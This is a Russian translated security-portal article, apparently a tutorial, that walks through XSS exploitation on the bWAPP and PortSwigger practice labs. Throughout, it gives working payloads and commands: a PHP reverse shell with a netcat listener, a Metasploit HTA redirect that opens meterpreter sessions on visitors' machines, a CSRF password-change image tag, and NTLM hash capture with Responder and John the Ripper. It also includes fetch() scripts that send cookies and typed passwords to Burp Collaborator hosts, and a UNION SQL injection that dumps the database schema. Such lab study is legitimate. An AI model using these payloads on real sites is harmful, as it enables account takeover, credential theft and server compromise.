Инструкция по использованию Cross-Site Scripting (XSS)

Дата: 21.09.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Инструкция по использованию Cross-Site Scripting (XSS)

В этой статье пойдет речь о том, как страдающая от XSS веб-страница может влиять на веб-приложения и способна нарушить конфиденциальность посетителя, поделившись со злоумышленником его учетными данными для входа или аутентифицированными файлами cookie без ведома пользователя.

Рекомендуется почитать предыдущую статью для лучшего понимания того, что происходит, прежде чем углубляться в сценарии атак, реализованных в данном примере.

Знакомство с Cross-Site Scripting

Cross-Site Scripting — это атака с внедрением кода на стороне клиента, при которой вредоносные сценарии производятся на надежных веб-сайтах.

В этой атаке пользователи напрямую не нацелены использовать полезную нагрузку, хотя злоумышленник добавляет ресурсу уязвимость от XSS, вставляя вредоносный сценарий на веб-страницу, которая кажется подлинной. Таким образом, когда любой человек посещает этот веб-сайт, страдающая от XSS веб-страница доставит вредоносный код JavaScript непосредственно в его браузер без ведома посетителя.

«XSS» имеет три основных вида:

  • Stored XSS
  • Reflected XSS
  • DOM-based XSS

Теперь у читателя есть четкое представление о том, что такое XSS и с чем его едят. Итак, стоит попробовать использовать уязвимые лаборатории The Portswigger Academy и bWAPP, чтобы получить аутентифицированные файлы cookie пользователей и удаленный Shell сервера.

Но прежде чем воспользоваться эксплойтами, надо понять, что такое Blind XSS.

Blind XSS

Часто злоумышленник не знает, где окажется полезная нагрузка и будет ли она выполнена, и даже бывают случаи, когда введенная полезная нагрузка выполняется в другой среде, то есть либо администратором, либо кем-то другим.

Таким образом, чтобы использовать подобные уязвимости, человек слепо развертывает серию вредоносных полезных нагрузок, нацеленных на веб-приложения, и сами приложения сохраняют их в базе данных. Злоумышленник всего лишь ждет, пока пользователь не вытащит полезную нагрузку из базы данных и не запустит ее в своем браузере.

Пора начинать!

Инструкция по использованию Cross-Site Scripting (XSS)

XSS посредством загрузки файлов

Веб-приложения позволяют своим пользователям загружать файлы, будь то изображение, резюме, песня или какой конкретный формат. С каждой загрузкой имя отображается на экране, именно таким, каким оно было записано в HTML-коде.

Инструкция по использованию Cross-Site Scripting (XSS)

Поскольку имя отображается на экране, пользователь теперь может выполнить любой код JavaScript, просто манипулируя им и добавив полезную нагрузку XSS.

"><img src=x onerror=prompt(1)>
Инструкция по использованию Cross-Site Scripting (XSS)

Следует открыть приложение bWAPP, выбрав опцию «Choose your bug» для «Unrestricted File Upload». На этот раз стоит оставить высокий уровень безопасности.

Надо также загрузить переименованный файл в веб-приложение, просмотрев его из каталога.

Инструкция по использованию Cross-Site Scripting (XSS)

Отлично!! На приведенном выше изображении можно увидеть, что имя файла находится над экраном. Поэтому, как только пользователь нажмет на кнопку загрузки, браузер выполнит встроенный код JavaScript, и будет получен ответ.

Инструкция по использованию Cross-Site Scripting (XSS)

Реверсивный Shell посредством XSS

Это создание всплывающего окна или перенаправление пользователя в какое-то другое приложение с уязвимостью XSS, что кажется безвредным. Но что, если атакующий сможет захватить обратный Shell? Стоит посмотреть, как человек мог бы это сделать.

Необходимо открыть свой терминал Kali, а затем создать полезную нагрузку обратного php, вызвав ее из каталога webshells с помощью следующей команды:

cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop/ReverseXSS.php
Инструкция по использованию Cross-Site Scripting (XSS)

Теперь, чтобы захватить удаленно Shell, следует манипулировать параметром $ip с IP-адресом машины Kali.

Инструкция по использованию Cross-Site Scripting (XSS)

Возвращаясь к уязвимому приложению, пользователь выберет параметр «Unrestricted File Upload», а затем откроет файл ReverseXSS.php.

Также стоит не забыть скопировать загруженный URL-адрес, т.е. щелкнуть правой кнопкой мыши на кнопку загрузки и выбрать параметр копирования.

Инструкция по использованию Cross-Site Scripting (XSS)

Отлично!! Пользователь почти закончил, пора добавлять полезную нагрузку XSS. Теперь, с помощью параметра «Choose you bug» нужно выбрать XSS – Stored (Blog).

В разделе комментариев пользователь добавит полезную нагрузку JavaScript с помощью «File-Upload URL».

Однако прежде чем нажать на кнопку «Submit», стоит также активировать листенер Netcat:

nc –lvp 1234
Инструкция по использованию Cross-Site Scripting (XSS)

Круто! На приведенном ниже изображении можно увидеть, что пользователь находится на целевом веб-сервере.

Инструкция по использованию Cross-Site Scripting (XSS)

Читателям может быть интересно: почему пользователь ходил кругами, чтобы захватить обратный Shell, когда у него была возможность использовать уязвимость «File Upload»?

Все очень просто: нужно подумать о ситуации, когда человек загружает файл напрямую и успешно захватывает обратный Shell. К несчастью, в сети жертвы будет показан IP-адрес пользователя, и он сам почти пойман.

Более того, в такой ситуации наиболее предпочтительным вариантом является получение обратного соединения с сервером жертвы через авторизованного пользователя.

Эксплуатация системы посредством XSS

В последнем разделе пользователь смог захватить обратный Shell, но что, если вместо Shell сервера злоумышленнику удалось получить сеанс meterpreter посетителя, который просматривает эту уязвимую веб-страницу?

Стоит понять, как это сделать, чтобы было более ясно, что есть у пользователя:

  • ОС злоумышленника: Kali Linux;
  • Уязвимое веб-приложение: bWAPP (bee-box);
  • ОС цели: Windows.

Таким образом, злоумышленник сначала создает файл hta, то есть HTML-приложение поверх фреймворка Metasploit, которое при открытии жертвой будет выполнять полезную нагрузку через Powershell.

use exploit/windows/misc/hta_server
set srvhost 192.168.0.12
exploit
Инструкция по использованию Cross-Site Scripting (XSS)

Отлично!! Пользователь получил url полезной нагрузки, теперь он просто вставляет его в веб-страницу, страдающую от XSS, и будет ждать свою цель.

<script>window.location='http://192.168.0.12:8080/zV9q9x7Tvl0.hta'</script>
Инструкция по использованию Cross-Site Scripting (XSS)

Теперь, когда любой посетитель посещает эту веб-страницу, браузер, таким образом, выполняет вредоносный сценарий и загружает файл hta на его машину.

Инструкция по использованию Cross-Site Scripting (XSS)

Круто! На приведенном выше изображении можно увидеть, что файл был загружен в систему. Теперь, как только жертва загрузит его, чтобы проверить, что это такое, злоумышленник получит свой сеанс meterpreter.

Инструкция по использованию Cross-Site Scripting (XSS)

CSRF и XSS

Разве не было бы здорово, если бы пользователь мог манипулировать паролем пользователя или зарегистрированным адресом электронной почты самостоятельно, без его ведома?

Веб-приложения, которые страдают от уязвимости XSS и CSRF, позволяют этого добиться.

Следует открыть уязвимое веб-приложение bWAPP как bee: bug, далее выбрать: «CSRF (Change Password)» из меню «Choose your bug».

Таким образом, это перенаправит пользователя на веб-страницу CSRF, где есть возможность изменить пароль учетной записи.

Когда человек вводит или устанавливает новый пароль, передаваемое значение, таким образом, отображается обратно в URL-адресе, поскольку пароль в данном случае изменяется на «12345».

Инструкция по использованию Cross-Site Scripting (XSS)

Следует скопировать URL-адрес пароля и изменить значения password_new и password_conf на те, которые пользователь хочет установить для посетителя. В данном случае «ignite»:

http://192.168.0.14/bWAPP/csrf_1.php?password_new=ignite&password_conf=ignite&action=change

Теперь пришло время внедрить скрипт на веб-страницу с XSS с тегом «image».

<img src=”http://192.168.0.14/bWAPP/csrf_1.php?password_new=ignite&password_conf=ignite&action=change”>
Инструкция по использованию Cross-Site Scripting (XSS)

Стоит представить, что посетитель просматривает веб-сайт и посещает этот уязвимый раздел. Как только он это сделает, браузер выполнит встроенную полезную нагрузку Javascript и будет рассматривать ее как подлинный запрос посетителя, то есть он изменит его пароль на «ignite».

Инструкция по использованию Cross-Site Scripting (XSS)

Отлично! Пользователь сделал это, и теперь всякий раз, когда посетитель будет входить в систему, вводя свой старый пароль, он не сможет этого сделать, так как его пароль не подойдет.

Инструкция по использованию Cross-Site Scripting (XSS)

Но злоумышленник может войти в учетную запись посетителя, так как у него есть новый пароль, то есть «ignite».

Инструкция по использованию Cross-Site Scripting (XSS)

Захват хэша NTLM с помощью XSS

Уязвимость XSS часто известна своими всплывающими окнами, но иногда злоумышленник манипулирует ними, чтобы перехватить конфиденциальные данные, такие как сеансовые файлы cookie и учетные данные записи.

В данном случае злоумышленник пытается захватить NTLM-хэши посетителей, вводя свой вредоносный код Javascript в уязвимое приложение.

Чтобы провернуть это, он включает «Responder» в своей атакующей машине, которая, таким образом, захватит все аутентифицированные хэши NTLM.

responder –I eth0
Инструкция по использованию Cross-Site Scripting (XSS)

Кроме того, он просто вводит свой вредоносный скрипт на веб-страницу, страдающую от XSS, с помощью «iframe»:

<iframe src=http://192.168.0.12/scriptlet.html <
blank

Круто! Настало время подождать посетителя. Теперь, когда он посещает эту веб-страницу, человек сталкивается с всплывающим окном, запрашивающим учетные данные.

blank

Как только пользователь вводит свои системные учетные данные, веб-страница перезагружается, и злоумышленник получает свои NTLM-хэши.

blank

Это еще не конец. Злоумышленнику нужно разобраться с этим. Поэтому в новом терминале он направляется в каталог, где хранится хэш.

cd /usr/share/responder/logs
blank

Кроме того, он создает новый файл с паролями — pass.txt.

blank

Отлично!! Теперь работа закончена. Злоумышленник просто вставляет файл с паролями и хэш-файл в John The Ripper и там он получит авторизованный сеанс.

john --wordlist=pass.txt HTTP-NTLMv2-192.168.0.9.txt
blank

Перехват сеанса с помощью Burp Collaborator Client

Бывают моменты, когда пользователь может столкнуться с Blind XSS, то есть он не будет знать, когда его полезная нагрузка будет выполнена.

Таким образом, чтобы использовать эту уязвимость XSS, стоит проверить один из лучших плагинов burpsuite – «Burp Collaborator Client».

Следует войти в академию PortSwigger и дойти до Cross-Site Scripting, а затем открыть «Exploiting cross-site scripting vulnerabilities». Здесь пользователь выбирает лабораторию для «Exploiting cross-site scripting to steal cookies» и нажмет на кнопку «Access the lab» (Получить доступ к лаборатории).

blank

Здесь пользователь будет перенаправлен на блог. Что касается дальнейших действий, то он открыл там отдельный пост и проверил его содержание.

blank

Прокручивая вниз, в самом низу, пользователь обнаружил раздел комментариев, который, похоже, имеет несколько полей ввода, т.е. есть вероятность, что может быть задействована уязвимость XSS.

blank

Теперь настало время воспользоваться «Burp Collaborator Client». Следует открыть его в «Burpsuite»: там в левой части экрана кликнуть по кнопке «Burp», далее выбрать опцию «Burp Collaborator Client».

blank

Перейдя в окно клиента Collaborator, в разделе «Generate Collaborator payloads» пользователь нажмет на кнопку «Копировать в буфер обмена» («Copy to clipboard»), которая, таким образом, скопирует полезную нагрузку.

blank

Круто!! Теперь стоит вернуться в раздел комментариев в блоге и ввести следующий скрипт с полезной нагрузкой Burp Collaborator:

<script>
fetch('https://qgafu1gvgx5psspo9o4iz1e2ttzond.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
blank

На приведенном ниже изображении читатели могут увидеть, что комментарий был успешно опубликован.

blank

Нужно немного подождать! Человек нажмет на кнопку опроса, чтобы получить результат взаимодействия с полезной нагрузкой.

Он получил длинный список, следует выбрать HTTP-файл и проверить его «ответы». На приведенном ниже изображении можно увидеть, что в разделе ответов есть «Session Id». Его нужно скопировать.

blank

Теперь, вернувшись в браузер, пользователь настроит свой прокси-сервер и снова в burpsuite включит перехват.

Он перезагрузит страницу и проверит перехваченный запрос.

blank

Отлично! Пользователь получил идентификатор сеанса. Теперь нужно манипулировать этими данными:

blank

После этого надо нажать на кнопку «Вперед» («Forward») и проверить, что предлагает веб-приложение.

blank

Захват учетных данных с помощью Burp Collaborator

Как и в предыдущем разделе, нет необходимости, чтобы наша полезная нагрузка выполнялась в том же месте, где она была введена.

Стоит попробовать захватить некоторые учетные данные, как в какой-то реальной ситуации, когда веб-страница страдает от уязвимости XSS.

Вернувшись в учетную запись PortSwigger, нужно выбрать параметр «Exploiting cross-site scripting to capture passwords».

blank

Как только человек нажмет на кнопку «Access The Lab», он будет перенаправлен на веб-страницу с XSS. Пользователь вновь открыл какой-то пост там.

blank

Прокрутив страницу еще раз в низ, он наткнулся на тот же раздел комментариев. Стоит задействовать его вновь.

blank

Вернувшись в «Burp Collaborator», необходимо снова скопировать полезную нагрузку, нажав на кнопку «Копировать в буфер обмена».

blank

Все, что нужно, — это только эта полезная нагрузка. Теперь стоит ввести в поле комментария следующую полезную нагрузку XSS:

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://5iojzt7m7e9217idp6s700vah1nsbh.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
blank

Следует нажать на кнопку «Оставить комментарий», чтобы проверить, работает ли он или нет. Изображение ниже показывает, что комментарий был успешно опубликован.

blank

Теперь нужно проверить результаты в «Вurp Collaborator». На приведенном ниже изображении можно увидеть, что полезная нагрузка была выполнена в какой-то момент.

Стоит проверить, кто это осуществил.

blank

Ой!! Это сделал администратор, у пользователя теперь есть некоторые полномочия.

Но как бы их использовать?

В верхней части блога был раздел входа в учетную запись, нужно задействовать его.

blank

Круто!! Надо настроить свой прокси-сервер и захватить текущий HTTP-запрос.

blank

Стоит попробовать манипулировать именем пользователя и паролем с теми данными, которые пользователь захватил ранее в Burp Collaborator.

blank

Все выполнено отлично. Следует нажать на кнопку «Вперед».

blank

XSS и SQL Injection

До сих пор только обсуждалось, как злоумышленник может захватить аутентифицированные файлы cookie, учетные данные посетителя и даже удаленный Shell сервера. Но что, если он способен получить всю базу данных веб-приложения в одном всплывающем окне? Интересно, как это сделать?

В уязвимом приложении злоумышленник столкнулся с веб-страницей, которая страдала от уязвимости для SQL-инъекций.

blank

Поэтому, чтобы получить более точный результат, он проверил общее количество столбцов с помощью «order by».

http://192.168.0.14/bWAPP/sqli_1.php?title=’order by 7--+&action=search
blank

После того как было определено общее количество столбцов, он использует оператор Union с запросом на создание выборки.

http://192.168.0.14/bWAPP/sqli_1.php?title=’ union select 1,2,3,4,5,6,7–+&action=search
blank

Отлично!! На приведенном выше изображения можно увидеть, что на экране появилась цифра «2».

Пришло время проверить это для XSS. Но пользователь не может ввести свой Javascript-код так же, как раньше, поэтому он преобразует его в «шестнадцатеричную строку», а затем будет манипулировать “2” с шестнадцатеричным значением.

0x3c7363726970743e616c657274282253514c20496e6a656374696f6e207669612058535322293c2f7363726970743e
blank

Круто!! Это работает. Теперь пользователь может добавить любой скрипт, будь он для захвата файлов cookie или удаленного Shell. Но на этот раз он сбросит и базу данных, ее таблицы и поля.

http://192.168.0.14/bWAPP/sqli_1.php?title=%27%20union%20select%201,concat(0x3c7363726970743e616c657274282249474e49544520544543484e4f4c4f47494553,0x5c6e,(concat(@x:=0x00,(SELECT%20count(*)from%20information_schema.columns%20where%20table_schema=database()%20and%[email protected]:=concat(@x,0x5c6e,database(),0x20207c2020,table_name,0x20207c2020,column_name)),@x)),0x22293c2f7363726970743e),3,4,5,6,7--+&action=search
blank

Отлично!! На приведенном ниже изображении можно увидеть, что перед пользователем была представлена полная структура базы данных.

Автор переведенной статьи: Chiragh Arora.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *